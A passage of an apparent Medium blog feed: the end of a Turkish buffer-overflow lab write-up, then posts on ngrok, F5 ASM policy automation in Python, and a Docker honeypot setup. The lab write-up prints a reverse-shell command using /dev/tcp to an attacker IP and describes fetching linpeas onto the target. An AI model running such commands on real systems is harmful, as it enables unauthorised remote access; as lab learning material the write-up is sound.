ESP</p><p>Şimdi sıra geldi bad charları bulmaya. Badchars ı yüklemek için: <em>pip3 install badchars </em>çalıştırıyoruz<em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*fPofhclDmS_KfK4sSbsozQ.png" /></figure><p>Badchar bulamadım. Şüpheleniyorum ama bakalım. Şimdi eip ye jmp esp adresini vereceğim. Ve sonrasında karakterler göndererek programın davranışına bakacağım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*jFDMUIW1ff4poW39tNwVBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/179/1*PQ48-9rIJPNy7s2phNBpLw.png" /></figure><p>Ve kendi localimde shell aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*646dRTsUHNWCK9afHjOamQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*3pZLdPJQ3n46kMCrl8UWjA.png" /></figure><p>Sonrasında shell i almaya başardım. Kod üzerinden kısaca açıklayayım. Fuzz değerini yukarda pattern offset ile bulduk. Sonrasında jmp esp adresinin eip ye verip programın davranışını izledik. jmp esp den sonra esp ye yazabildiğimizi fark etttim. Fakat direk shellcode u buraya yazınca çalıştırmıyordu. 8* “a” dan sonra istediğim shellcode çalışmaya başladı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*01NOKxmveFK4fsTZV5xwyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ih7LiCZB-EP19SywVpRVAw.png" /></figure><p>Limited shell escape: Yine biraz uğraştıktan sonra önce /bin/bash -i sonrasında bash -i &gt;&amp; /dev/tcp/192.168.216.132/4445 0&gt;&amp;1 komutuyla reverse shell aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*NVieOWUTWKed5yP8RtehKw.png" /></figure><p>wget ile linpeas i makinaya atıp çalıştırıp, bir dosyaya çıktılarını kaydediyorum. Buarada defalarca makina hata verdi. Her defasında sanallaştırmadan yeniden başlatmak gerekti.</p><p><a href="https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982">https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=984bba8740c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Expose your local environment to the public with ngrok]]></title>
            <link>https://mrtalagoz.medium.com/expose-your-local-environment-to-the-public-with-ngrok-b538785684d6?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b538785684d6</guid>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[services]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 16:59:10 GMT</pubDate>
            <atom:updated>2023-04-13T16:59:58.310Z</atom:updated>
            <content:encoded><![CDATA[<p>Do you like to try out new things in your VM?</p><p>Do you want to expose your local service to the public?</p><p>Do you want to learn your colleagues’ opinions about your new web app?</p><p>Do you want to share anything which is in your lab?</p><p>Ngrok is your Friend!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*-bvZxLeL8FIBCKuI7OKBXw.png" /><figcaption><a href="https://github.com/inconshreveable/ngrok">https://github.com/inconshreveable/ngrok</a></figcaption></figure><p>Trying out new things in a virtual machine (VM) is always exciting. VMs allow us to create a sandbox environment to test new software or configurations without affecting our local development setup. They also allow us to quickly spin up multiple instances of different operating systems, making it easy to work with various technologies.</p><p>Sometimes, you may want to expose a local service to the public for testing or demonstration purposes. This can be especially useful if we’re working on a web application and want to share it with our colleagues or clients. There are a few different ways to do this, but one option is to use a service like <strong>ngrok</strong>, which allows us to create a secure tunnel from the public internet to our local development environment.</p><p>If you want feedback on a new web app you’re working on. One option is to share it with our colleagues and ask for their opinions. This can be done by simply sending a link to the app or hosting a demo session where we walk through the app and ask for feedback.</p><p>In addition to sharing our work with colleagues, we may also want to share things in our lab with a broader audience. This could be anything from code repositories to research papers and can be done through various means, such as posting to social media or sharing through a personal blog or website.</p><p>Overall, there are many different reasons why we might want to try out new things in a VM, expose local services to the public, share our work with colleagues, or share items from our lab with a broader audience. Using tools like <strong>ngrok </strong>and taking advantage of social media and other online platforms makes sharing our work and getting feedback from others easy.</p><p>All you need to do is install ngrok. It is freemium, and you can do almost everything without a token.</p><p>Ps.: Recently, it has been banned in some corporate proxies because of evil usage, which makes sense.</p><p><a href="https://ngrok.com/">https://ngrok.com/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b538785684d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating boring tasks with Python in F5]]></title>
            <link>https://mrtalagoz.medium.com/automating-boring-tasks-with-python-in-f5-880d610ecfa0?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/880d610ecfa0</guid>
            <category><![CDATA[asm-policy]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[f5-load-balancer]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Mon, 02 Jan 2023 12:58:02 GMT</pubDate>
            <atom:updated>2023-01-02T12:58:39.729Z</atom:updated>
            <content:encoded><![CDATA[<p>Are you tired of manually performing the same tedious tasks on your F5 servers every day?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*PjSKSf9V56VpzQWF.jpeg" /></figure><p>Automation can help!</p><p>Python is a powerful language that can automate many tasks, including those on F5 LBs. This blog post will look at how you can use Python to automate boring tasks on your F5 servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*wYy0MHDZsO6uQQltdjjw7g.png" /></figure><p>One way to automate tasks on your F5 servers is to use the <a href="https://f5-sdk.readthedocs.io/en/latest/">F5 Python SDK</a>. This SDK allows you to programmatically perform tasks on your F5 servers, such as creating and modifying virtual servers, pools, and nodes. You can even use the SDK to automate the deployment of new policies.</p><p>Another option is to use the requests library to send HTTP requests to your F5 servers. This allows you to log in, retrieve data, and modify settings on your F5 servers. Since the documentation is insufficient(might be intended) and can change over time, after reading all the related conversations, I decided to intercept all the conversations from the browser to LBs and try to replicate those in Python.</p><p>To get started with automation on your F5 servers, you&#39;ll need to install Python and the necessary libraries. You&#39;ll also need access to your F5 servers and any relevant credentials. And let&#39;s begin:</p><h3>Requirements</h3><pre>inquirer<br>requests<br>urllib3</pre><p>Once you have everything set up, you can begin writing your Python scripts. A good starting point is to automate tasks that you frequently perform, such as enforcing policies or checking the status of your servers.</p><p>You can even use the inquirer library to create a command-line interface (CLI) for your scripts, making them easy for others on your team. There are many other ways to do it. Just define the things to do here. We will write the functions later.</p><p>Our process needs us to be authenticated. So we will just log in.</p><pre>import inquirer<br>import urllib3<br>import json<br><br>from f5 import F5<br>from policy import Policy<br><br>urllib3.disable_warnings()<br><br>if __name__ == &#39;__main__&#39;:<br>    #choose operation<br>    operation = [&#39;Enforce all F5s enforcement ready signatures&#39;,<br>                 &#39;Deploy a new policy&#39;,<br>                 &#39;Check VT Logs&#39;]<br>    ask_operation = [<br>        inquirer.List(&#39;Choose operation&#39;,<br>                      message=&#39;Which operation you want to do?&#39;,<br>                      choices=operation<br>                      ),<br>    ]<br>    choose_operation = inquirer.prompt(ask_operation)[&#39;Choose operation&#39;]<br>    # Now login<br>    f5 = F5()<br>    f5.login_all_asm()<br>try:<br>    if choose_operation == &#39;Enforce all F5s enforcement ready signatures&#39;:<br>        r = open(&#39;active_asm_list.txt&#39;, &#39;r&#39;).read()<br>        asm_list = json.loads(r)<br>        for key, value in asm_list.items():<br>            policy = Policy(key, value)<br>            policy.enforce_policies()<br>        print(f&#39;{choose_operation} is finished&#39;)<br>    if choose_operation == &#39;Deploy a new policy&#39;:<br>        from deploy import deploy<br>        deploy()<br>        print(f&#39;{choose_operation} is finished&#39;)<br>    if choose_operation == &#39;Check VT Logs&#39;:<br>        from log_query import vt_error_query<br>        vt_error_query()<br>except Exception as e:<br>    print(f&#39;There is an error. Please check error: {str(e)}&#39;)</pre><h3><strong>F5</strong></h3><p>You might be asking what is in the F5 class.</p><ul><li>__init__: This is the constructor of the class. It initializes the class variables username, password, token, serverUrl, and asm_list_token.</li><li>get_server_list: This method presents the user with a list of F5 servers to choose from and stores the user&#39;s choice in the serverUrl variable.</li><li>build_url: This method takes a operation parameter and returns the URL for the specified operation.</li><li>get_username: This method prompts the user to enter their F5 username and stores it in the username variable.</li><li>get_password: This method prompts the user to enter their F5 password and stores it in the password variable.</li><li>send_request: This method sends a request to the specified url with the given data.</li><li>login: This method sends a login request to the F5 server using the username and password variables. If the login is successful, it stores the returned token in the token variable.</li><li>login_all_asm: This method logs in to all the F5 servers in the asm_list.txt file and stores their tokens in the asm_list_token variable. It only stores the tokens for active servers. It then writes the asm_list_token variable to the active_asm_list.txt file.</li></ul><p>Here is f5.py:</p><pre>import inquirer<br>from inquirer.themes import GreenPassion<br>import requests<br>import getpass<br>import json<br>import sys<br><br><br>class F5:<br>    def __init__(self):<br>        self.username = &#39;&#39;<br>        self.password = &#39;&#39;<br>        self.token = &#39;&#39;<br>        self.serverUrl = &#39;&#39;<br>        self.asm_list_token = &#39;&#39;<br><br>    def get_server_list(self):<br>        f = open(&quot;asm_list.txt&quot;, &quot;r&quot;).read().splitlines()<br>        learn_asm = [<br>            inquirer.List(&#39;f5&#39;,<br>                          message=&#39;Which f5 you want to operate? Select and press Enter! You chose&#39;,<br>                          choices=f<br>                          ),<br>        ]<br>        answers = inquirer.prompt(learn_asm, theme=GreenPassion())<br>        self.serverUrl = answers[&quot;f5&quot;]<br><br>    def build_url(https://medium.com/self,%20operation):<br>        operation_list = {<br>            &quot;login&quot;: &quot;mgmt/shared/authn/login&quot;,<br>            &quot;policy_names&quot;: &quot;mgmt/tm/asm/policies&quot;,<br>            &quot;apply-policy&quot;: &quot;mgmt/tm/asm/tasks/apply-policy&quot;,<br>            &quot;active_status&quot;: &quot;mgmt/tm/cm/failover-status&quot;<br>        }<br>        url = self.serverUrl + operation_list[operation]<br>        return url<br><br>    def get_username(self):<br>        print(&quot;Please enter your F5 credentials:&quot;)<br>        self.username = input(&quot;Enter username: &quot;)<br>        if not self.username:<br>            print(&quot;You need to provide a username in order to proceed.&quot;)<br>            sys.exit()<br><br>    def get_password(self):<br>        self.password = getpass.getpass()<br>        if not self.password:<br>            print(&quot;You need to provide a password in order to proceed.&quot;)<br>            sys.exit()<br>        return self.password<br><br>    def send_request(self, url, data):<br>        try:<br>            request = requests.post(url=url, json=data, verify=False)<br>            return request<br>        except requests.exceptions.RequestException:<br>            raise Exception(&quot;Failed to connect to {0}&quot;.format(self.url)) from None<br><br>    def login(self):<br>        url = self.build_url(https://medium.com/operation=&quot;login&quot;)<br>        if len(self.username) == 0:<br>            self.get_username()<br>        if len(self.password) == 0:<br>            self.password = self.get_password()<br>        data = {&quot;username&quot;: self.username, &quot;password&quot;: self.password, &quot;loginProviderName&quot;: &quot;tmos&quot;}<br>        request = self.send_request(url, data)<br>        if request.status_code == 401:<br>            print(request.json()[&quot;message&quot;])<br>            sys.exit()<br>        elif request.status_code == 200:<br>            self.token = request.json()[&quot;token&quot;][&quot;token&quot;]<br>            print(f&quot;You successfully logged in: {self.serverUrl}&quot;)<br>            return self.token<br><br>    def login_all_asm(self):<br>        f = open(&quot;asm_list.txt&quot;, &quot;r&quot;).read().splitlines()<br>        asm_list = []<br>        tokens = []<br>        for i in range(len(f)):<br>            self.serverUrl = f[i]<br>            token = self.login()<br>            url = self.build_url(https://medium.com/operation=&quot;active_status&quot;)<br>            headers = {<br>                &#39;Content-Type&#39;: &#39;application/json&#39;,<br>                &#39;X-F5-Auth-Token&#39;: token<br>            }<br>            request = requests.get(url=url, headers=headers, verify=False)<br>            a = json.loads(request.text)[&#39;entries&#39;][&#39;https://localhost/mgmt/tm/cm/failover-status/0&#39;][&#39;nestedStats&#39;][<br>                &#39;entries&#39;][&#39;status&#39;]<br>            if &#39;ACTIVE&#39; in a.values():<br>                asm_list.append(self.serverUrl)<br>                tokens.append(token)<br>        self.asm_list_token = dict(zip(asm_list, tokens))<br>        w = open(&quot;active_asm_list.txt&quot;, &quot;w&quot;)<br>        w.write(json.dumps(self.asm_list_token))<br>        w.close()</pre><h3><strong>Policy</strong></h3><p>Policy class interacts with an F5 server through the use of the requests library. The class has several methods that perform various actions related to policies on the F5 server, such as retrieving a list of policies, parsing policy data, and enforcing ready signatures. The inquirer library prompts the user to select a policy or operate on all policies. The json library is used to parse the server&#39;s responses.</p><p>The __init__ method is the constructor for the class, which is called when an object of this class is created. It takes two arguments: url and token, and assigns them to instance variables. It also initializes a few more instance variables with URLs that are used to send requests to the server.</p><p>The url_token method reads from a file and retrieves the URL and token for each active F5 server. The list_policies method sends a request to the server to retrieve a list of policies, parses the response, and returns a dictionary of policy names and their corresponding IDs. The policy_parser static method takes a string containing policy data in JSON format and returns a dictionary of policy names and their corresponding IDs.</p><p>The choose_policy method prompts the user to select a single policy or operate on all policies, then returns a dictionary containing the policy name and ID of the selected policy.</p><p>The enforce_ready_signatures method takes a policy ID as an argument and sends requests to the server to enforce all ready signatures for that policy. It first retrieves a list of ready signatures, then patches the staging property for those signatures to false. It then applies the policy and waits for the task to complete before returning the result. The enforce_policies method calls the choose_policy and enforce_ready_signatures methods to allow the user to select a policy and enforce ready signatures for it.</p><p>And here is policy.py:</p><pre>import requests<br>import json<br>import inquirer<br>from inquirer.themes import GreenPassion<br>import time<br><br><br>class Policy:<br><br>    def __init__(self, url, token):<br>        self.url = url<br><br>        self.token = token<br>        self.url_get = self.url + &quot;mgmt/tm/asm/policies&quot;<br>        self.url_apply = self.url + &quot;mgmt/tm/asm/tasks/apply-policy&quot;<br><br>    def url_token(self):<br>        w = open(&quot;active_asm_list.txt&quot;, &quot;r&quot;).read()<br>        a = json.loads(w)<br>        for key, value in a.items():<br>            self.url_get = key<br>            self.token = value<br><br>    def list_policies(self):<br>        headers = {<br>            &#39;Content-Type&#39;: &#39;application/json&#39;,<br>            &#39;X-F5-Auth-Token&#39;: self.token<br>        }<br>        try:<br>            request = requests.get(url=self.url_get, headers=headers, verify=False)<br>            return self.policy_parser(request.text)<br>        except requests.exceptions.RequestException:<br>            raise Exception(&quot;Failed to connect to {0}&quot;.format(self.url_get)) from None<br><br>    @staticmethod<br>    def policy_parser(body):<br>        policy_names = []<br>        policy_ids = []<br>        for p in json.loads(body)[&#39;items&#39;]:<br>            policy_names.append(p[&quot;name&quot;])<br>            policy_ids.append(p[&quot;id&quot;])<br>            try:<br>                print(&quot;Policy &quot; + p[&quot;name&quot;] + &quot; is in &quot; + p[&quot;enforcementMode&quot;] + &quot; mode.&quot;)<br>            except KeyError:<br>                continue<br>                               <br>        policy_list = dict(zip(policy_names, policy_ids))<br>        print(f&quot;There are {len(policy_list)} policies.&quot;)<br>        return policy_list<br><br>    @staticmethod<br>    def choose_policy(policy_list):<br>        q = [<br>            inquirer.List(&#39;choice&#39;,<br>                          message=&#39;Do you want to change single policy or all policies?&#39;,<br>                          choices=[&#39;Single Policy&#39;, &#39;All&#39;]<br>                          ),<br>        ]<br>        answers = inquirer.prompt(q, theme=GreenPassion())<br>        if answers.get(&#39;choice&#39;) == &#39;All&#39;:<br>            print(&quot;All policies Selected&quot;)<br>            return policy_list<br>        else:<br>            learn_policy = [<br>                inquirer.List(&#39;policy_name&#39;,<br>                              message=&quot;Which policy you want to change? Select and press Enter! You chose&quot;,<br>                              choices=policy_list.keys()<br>                              ),<br>            ]<br>            answers = inquirer.prompt(learn_policy, theme=GreenPassion())<br>            print(f&quot;{answers[&#39;policy_name&#39;]} is selected.&quot;)<br>            policy = {}<br>            for key, value in policy_list.items():<br>                if key is answers[&#39;policy_name&#39;]:<br>                    policy[answers[&#39;policy_name&#39;]] = value<br>                    return policy<br><br>    def enforce_ready_signatures(self, policy):<br>        headers = {<br>            &#39;Content-Type&#39;: &#39;application/json&#39;,<br>            &#39;X-F5-Auth-Token&#39;: self.token<br>        }<br>        try:<br>            url = f&quot;{self.url_get}/{policy}/signatures?$select=&amp;$filter=hasSuggestions%20eq%20false%20AND%20wasUpdatedWithinEnforcementReadinessPeriod%20eq%20false%20and%20performStaging%20eq%20true&quot;<br>            r = requests.request(&quot;GET&quot;, url=url, headers=headers, verify=False)<br>            b = json.loads(r.text)[&quot;totalItems&quot;]<br>            data = &#39;{&quot;performStaging&quot;:false}&#39;<br>            requests.patch(url=url, headers=headers, data=data, verify=False)<br>            link = {&quot;policyReference&quot;: {&quot;link&quot;: f&quot;https://localhost/mgmt/tm/asm/policies/{policy}&quot;}}<br>            data = json.dumps(link)<br>            apply_policy = requests.post(url=self.url_apply, headers=headers, data=data, verify=False)<br>            print(f&quot;Applying policy changes please wait...&quot;)<br>            id = json.loads(apply_policy.text)[&quot;id&quot;]<br>            url = f&#39;{self.url_apply}/{id}&#39;<br>            update_status = &#39;&#39;<br>            while update_status != &quot;COMPLETED&quot;:<br>                time.sleep(1)<br>                request = requests.get(url=url, headers=headers, verify=False)<br>                update_status = str(json.loads(request.text)[&quot;status&quot;])<br>                if update_status is None:<br>                    print(request.text)<br>                    pass<br>            print(f&quot;{b} signatures enforced. Policy updated.&quot;)<br>        except requests.exceptions.RequestException:<br>            raise Exception(&quot;Failed to update policies&quot;) from None<br><br>    def enforce_policies(self):<br>        raw_policy_list = self.list_policies()<br>        operation_policy = self.choose_policy(raw_policy_list)<br>        for key, value in operation_policy.items():<br>            self.enforce_ready_signatures(value)<br><br></pre><p>Finally, you will need two text files:</p><ol><li>asm_list.txt: this will have all F5 addresses like <br><em>https://F5cluster-1.internal/<br>https://F5cluster-2.internal/<br>…</em></li><li>active_asm_list.txt: Empty, after logging you will see the only active F5s, name, and token.</li></ol><p>Automating tasks on your F5 servers can save you time and effort.</p><p>It can also help reduce the risk of human error, ensuring that tasks are performed consistently and accurately.</p><p>So next time you find yourself performing the same boring tasks on your F5 servers, consider using these scripts to automate them!</p><p>Thank you for bearing with me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=880d610ecfa0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I am firing up honeypot w/ Docker for educational purposes!]]></title>
            <link>https://mrtalagoz.medium.com/firing-up-honeypot-w-docker-for-educational-purposes-7830371167e2?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7830371167e2</guid>
            <category><![CDATA[docker-compose]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Thu, 06 May 2021 14:03:27 GMT</pubDate>
            <atom:updated>2022-09-01T08:08:06.491Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*54eNUXVfdi4VGf7BopSLZA.jpeg" /></figure><p>A honeypot is a computer security mechanism designed to detect, deflect or in some way counteract attempts to use an information system without authorization. Generally, honeypots consist of data that appears to be a legitimate part of the site (for example, in a website) and contain information or resources valuable to the attacker. It is isolated, monitored, and capable of stopping or analyzing attackers. This is similar to the police stabbing operation, commonly known as “trapping” the suspect.</p><p>After a formal definition, let&#39;s move on to our lab environment. We need at least two instances of VM, preferably Ubuntu Server, on a cloud platform.</p><p>Please note that installing docker-compose and docker from the distribution repository instead of downloading docker directly from Docker will get a more <strong>stable </strong>experience. Downloading directly from Docker does have more features, but these features usually come at the cost of unresolved errors.</p><h3>Building up Environment</h3><p><strong>Prerequisites:</strong></p><ul><li><a href="https://do.co/3halp8T">Docker</a></li><li>Docker Compose</li><li>Python 3</li><li>Pip 3</li></ul><p>To keep it simple, I will provide the links for prerequisites. Remember, it&#39;s only for Ubuntu 18!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/197/1*jNGkKAtK0eZ8rv26cjCnjQ.png" /></figure><p>$ sudo apt install docker docker-compose python3 python3-pip</p><p>$ sudo systemctl enable docker &amp;&amp; sudo systemctl start docker</p><p>We will use one server for collecting logs, and the other is going to be the censor.</p><h3>Community Honeypot Network</h3><p><a href="https://bit.ly/3vDm6vw">CHN</a> aims to make the deployment of honeypots and honeypot management tools easy and flexible. The default deployment method uses Docker Compose and Docker to deploy with a few simple commands. It has a simple UI it makes it easy to use.</p><blockquote>sudo mkdir -p /opt &amp;&amp; sudo git clone <a href="https://github.com/CommunityHoneyNetwork/chn-quickstart.git">https://github.com/CommunityHoneyNetwork/chn-quickstart.git</a> /opt/chnserver</blockquote><p>CHN has a quick start module. To use it, first install the validator module with pip3 and then run the guided install.</p><blockquote>$ python3 -m pip install validators</blockquote><blockquote>$ sudo su</blockquote><blockquote># ./guided_docker_compose.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*dt_z40tFx8PK9qmy7bMxjw.png" /></figure><p>You need to enter a domain name that will run the CHN server. In my case, I will use the IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*ybZTemUVI8kzeAPt-5Ge2w.png" /></figure><p>I don’t want to deal with certificates; write <strong>CERTBOT</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*d_FCk3pLFbuJCxpbdNwzyg.png" /></figure><p>Default is good, 30 days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*3NFK7cmkWJT3vQRFNpqRlA.png" /></figure><p>Nope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*XchzDruqOij0DfSgn1_nJA.png" /></figure><p>I opted to log files with JSON, and no, I don’t want to enable intelligence feeds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*Q9dhrYQ7PNo0p8JDyljdBg.png" /></figure><p>I guess that’s it. Guided docker script finished. Now let&#39;s make it run!</p><blockquote>$ docker-compose up -d</blockquote><p>Just give it a minute, and done! If you are wondering it is working or not, you can verify it by simple</p><p># docker-compose ps</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*ziNA-NPMegHFLFkLyjMNzA.png" /></figure><p>We need login creds. To learn it, you can read the /opt/chnserver/config/sysconfig/chnserver.env file or run the following command:</p><p># grep SUPERUSER /opt/chnserver/config/sysconfig/chnserver.env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*_IrLWhBjBGYe73yQDdrt6Q.png" /></figure><p>You may log into the web interface for your new honeypot management server. In a browser, navigate to <strong>http://&lt;your.host.ip&gt; </strong>After logging in, you will see this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*45p4EbMorNulNzgMcjFaBA.png" /></figure><p>Our server is running. Let&#39;s deploy a sensor! To do so, you need to click deploy. There are some options you can choose from:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*IkIPwgsOuIzWnZzTTxuphQ.png" /></figure><p>After choosing which honeypot you use, it gives you a script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*XQ2URktvRv8Ww5uhGrfltQ.png" /></figure><p>So copy the Deploy Command and run it in your <strong>Second VM.</strong></p><blockquote>sudo wget --no-check-certificate “https://&lt;CHN_SERVER_IP&gt;/api/script/?text=true&amp;script_id=8” -O deploy.sh &amp;&amp; sudo bash deploy.sh <a href="https://chn_server_ip/">https://CHN_SERVER_IP</a> VA8Ah27T &amp;&amp; sudo docker-compose up -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*MVriLnnkJ2TRtulUSRYVng.png" /></figure><p>That’s it!! You have just added your first sensor!</p><p>You can add as many as you like. Just don’t forget to configure docker ports and be careful with the docker-compose files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*q8yhD6vcaYfJiuEd4HKtZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*cHlIh6MGVJYp0Z7DAyKr5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*UQ3RFHiDNqgL6Z_RWNfT3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*PuRC5MXbIS9g0hkaSsRvBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*RFCeJmAkbkcd4IfQiqzkIg.png" /></figure><p><strong>References:</strong></p><p><a href="https://bit.ly/3vDm6vw">https://bit.ly/3vDm6vw</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7830371167e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>